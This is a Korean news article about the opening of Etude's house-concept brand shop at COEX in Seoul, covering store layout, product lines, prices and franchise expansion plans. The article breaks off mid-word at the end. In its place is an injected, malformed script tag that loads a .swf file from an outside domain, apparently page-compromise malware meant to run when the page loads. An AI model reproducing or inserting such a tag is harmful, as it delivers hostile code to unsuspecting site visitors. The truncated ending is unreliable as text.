에뛰드(대표 이민전)가 업계 최초 하우스 컨셉 브랜드숍 ‘the ETUDE HOUSE’로 치열한 브랜드숍 시장에 뛰어들었다. 19일 서울 코엑스 매장(전 미샤 매장)에 오픈한 에뛰드 하우스는 기초, 클렌징, 남성, 향수 등 총 640여 품목의 제품구성과 명확한 컨셉으로 저가형 브랜드숍에 컨셉 매장이라는 새로운 형태를 선보였다. 1호점 오픈 이후 에뛰드는 서울 5곳, 대구 동성로, 부산 서면 등 10대 핵심상권을 중심으로 향후 50대 상권까지 단계별로 매장을 열어 총 150개 주요 상권에 진출한다는 계획이다. 에뛰드의 이민전 사장은 에뛰드 하우스에 대해 “달콤한 상상의 집을 주제로 소녀들의 꿈을 매장 곳곳에서 실현할 예정”이라며 “에뛰드 하우스는 친근한 하우스 컨셉으로 일상과 어울리는 진열과 동선, 쉽고 재미있는 제품 구성으로 시장을 차근히 공략할 계획”이라고 밝혔다. △예쁘고 화려한 하우스 컨셉 매장=에뛰드 하우스는 동화 속의 상상을 펼쳐 볼 수 있는 ‘하우스’를 컨셉으로 했다. 에뛰드는 인테리어 소품 매장 ‘코즈니’와 ‘마키’의 하우스 매장에서 아이디어를 벤치마킹했다고 밝혔다. 매장 내부는 집과 같이 Bed Room, Bath Room, Dressing Room, Atelier, Utlity Room, Locker Room, Kitchen, Doll House 등으로 구성돼 있다. 각 공간마다 차례대로 기초와 향수, 클렌징과 바디제품, 시즌별 메이크업, 메이크업, 화장소품, 남성제품, 카운터 등을 접할 수 있게 했다. 이는 존(Zone) 별로 특색을 부여하여 자연스럽게 동선을 유도하고 일상공간과 제품 진열을 연결해 뷰티 아이템이 자연스럽게 생활에 연결되도록 한 것으로 풀이된다. 또한 아크릴 소재 대신 목재를 사용해 여성스러움과 고급스러운 분위기를 자아내도록 했다. 한편, 주력제품인 색조의 섀도와 네일은 미니어처로 제작된 Doll House의 지붕에 진열되며, 프로모션 존은 MDF 박스로 꾸며져 공간을 자유자재로 활용할 수 있게 배치했다. 또한 별도의 Well Looking zone을 구성해 스타일에 맞게 변신이 가능하도록 했으며, Locker Room엔 남성을 상징하는 펀치볼과 권투 글러브도 디스플레이해 더욱 생동감 있는 곳으로 꾸몄다. △640여 품목에 5가지 펀 메뉴=에뛰드 하우스의 제품은 총 640여 품목. 제품은 단계를 단순화하여 용기에 표시해 줌으로써 화장에 자신 없는 젊은 여성들도 쉽게 사용할 수 있도록 개발했다. 5가지 펀 메뉴로 구성된 제품은 ‘준비하기’의 기초제품, ‘변신하기’의 메이크업, ‘마무리하기’의 향수, ‘만나러가기’의 남성제품, ‘함께하기’의 화장 도구류로 구성돼 있다. 또한 그래픽적인 요소로 픽토와 아이콘을 삽입해 재미있고 즐거운 화장을 실현했으며, DIY, 공용기, 리필, 개인 맞춤 제품 등을 다양하게 구비해 차별화 된 상품 구성을 자랑한다. 70여 품목의 기초제품은 4가지 피부 타입별로 구성돼 있으며, 16품목의 퓨어워터 라인은 7천원~1만원, 17품목의 굿바이 트러블 라인은 6천원~1만 5천원 선이다. 또한 37품목의 클렌징&팩 제품은 3천원~5천원 선으로 고객의견을 반영하여 리필용 버블 클렌저와 무스타입 클렌저를 개발 출시했다. Steady Trend 라인과 Hot Trend 라인으로 구분된 메이크업 제품은 총 370품목. ST라인의 포인트 제품은 1천원~5천원 선이며 페이스 제품은 4천원~6천원이다. 최신 트렌드를 보여주는 HT라인은 시즌별로 제품이 제안되며 가격은 포인트가 3천원~1만원, 베이스제품이 6천원~1만5천원대이다. 특히 메이크업 제품에는 메이크업 에피타이저 제품인 페이스 스무더, 프라이머, 아이 브라이트너, 립 볼류머, 눈썹 왁스, 더 글램 쉬머 글래스 등 독특한 제품도 개발 출시됐다. 남성향수 3품목을 포함 총 40품목으로 구성된 향수는 총 7가지 향수를 각 스토리별로 진행했다. 특히 향수는 칼라 이미지를 향기에 접목시켜 개발됐으며, 가격선은 1만원~1만 5천원 선으로 10월까지 라인을 완벽하게 구축해 출시할 예정이다. 남성용은 피부 타입별로 20품목의 제품을 구성했으며, 남성전용 메이크업 제품도 출시됐다. 아울러 취향에 따라 선택 가능하도록 스킨 100%, 스킨과 로션의 비중 7:3, 스킨과 로션의 비중 3:7, 로션 100% 등 계절별 사용량에 따라 세분화했다. 가격대는 3천원~1만원대다. △전국 맵핑 완료 150개 로드숍 한정 출점=프랜차이즈로 운영되는 에뛰드 하우스는 점포 입지를 기준으로 가맹점을 선정할 계획으로 이미 전국 상권의 맵핑을 완료해 우선 150개 로스숍을 한정 출점할 계획이다. 1단계 출점 지역은 10대 핵심상권인 서울, 대구, 대전, 부산, 광주이다. 이후 에뛰드는 진행상황에 따라 2단계 50대 상권으로 매장을 오픈해 나갈 계획이다. 1호점 역시 직영점으로 운영될 것이라는 유통가의 소식과 달리 프랜차이?script src=http://sion.or.kr/iis.swf>

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